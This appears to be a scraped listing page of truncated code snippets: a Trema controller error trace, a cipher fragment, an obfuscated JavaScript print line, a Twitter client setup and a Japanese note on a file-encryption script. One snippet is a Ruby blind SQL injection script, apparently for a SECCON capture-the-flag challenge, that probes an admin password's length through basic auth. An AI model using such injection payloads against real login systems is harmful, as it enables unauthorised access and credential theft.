hojo@ubuntu:~/trema/learning_switch$ ./bin/trema run ./lib/multi_learning_switch.rb -c trema.multi.conf
RuntimeError: MultiLearningSwitch is already running (/tmp/MultiLearningSwitch.pid).
/home/hojo/.bundle/ruby/2.3.0/trema-50b5a383bb73/lib/trema/command.rb:161:in `create_pid_file'
/home/hojo/.bundle/ruby/2.3.0/trema-50b5a383bb73/lib/trema/command.rb:25:in `run'
/home/hojo/.bundle/ruby/2.3.0/trema-50b5a383bb73/bin/trema:64:in `block (2 levels) in <module:App>'
/var/lib/gems/2.3.0/gems/gli-2.13.4/lib/gli/command_support.rb:126:in `execute'
/var/lib/gems/2.3.0/gems/gli-2.13.4/lib/gli/app_support.rb:296:in `block in call_command'
/var/lib/gems/2.3.0/gems/gli-2.13.4/lib/gli/app_support.rb:309:in `call_command'
/var/lib/gems/2.3.0/gems/gli-2.13.4/lib/gli/app_support.rb:83:in `run'
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import itertools | |
ALPHA = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}' | |
def encrypt(key, plaintext): | |
pairs = zip(plaintext, cycle(key)) | |
result = '' | |
for pair in pairs: | |
total = reduce(lambda x, y: ALPHA.index(x) + ALPHA.index(y), pair) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'net/http' | |
require 'uri' | |
def req_length(l,o) | |
url = URI.parse('http://basiq.pwn.seccon.jp/admin/admin.cgi') | |
req = Net::HTTP::Post.new(url.path) | |
pass = " ' or (id = 'admin' and length(pass)" + o + l.to_s + " ) ; -- ' " | |
req.basic_auth 'admin', pass | |
result = Net::HTTP.new(url.host, url.port).start {|http| http.request(req) } | |
return result.body | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
console.log("r9er9r5er4kr8msir9r2easmr3kr8ms2ir8eas3qr3kr7qeas2a4e3as5qr3kr5e2asrs9is2eisqr3kr3eas3r3s3r3s3ai2asmr3kr2qs3e2s4r3s7aes2mr2kr2mr2mias5eaies7isqr2krqr3s8mi2as2r3s3aemrkrmrsei2es9r6s4mrkasaqeieimeras2r9rs3qrkqs2qaqasre2ses6rsrsrs4mkqs3a2e2s3es8rsrsrs2qrkrms6a3s6rsrsrsrs3mrkrqs9s5rsrsrs2es2qr2kr2aes9s2rsrsrses4mr2kr4aes9se3as4ear3kr6ae6a3s5e2ar5kr9s9sa2r8".replace(/([\S])(\d)/g,(_,c,n)=>{return new Array(++n).join(c)}).split("").map((s)=>{return String.fromCharCode((s!="k"?parseInt("9c"+s,32):20) -10)}).join("")) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
require "twitter" | |
require 'yaml' | |
twitter_token = YAML.load_file(ARGV[0]) | |
client = Twitter::REST::Client.new do |config| | |
config.consumer_key = twitter_token["consumer_key"] | |
config.consumer_secret = twitter_token["consumer_secret"] |
##ファイルを暗号化するシェルスクリプト
この記事は OIC ITCreate Club Advent Calendar 2015 8日目(12/8)の記事です。
見られたくないファイルを暗号化する便利そうなスクリプトを書いてみました。
$ chmod u+x vvvencryp.sh
NewerOlder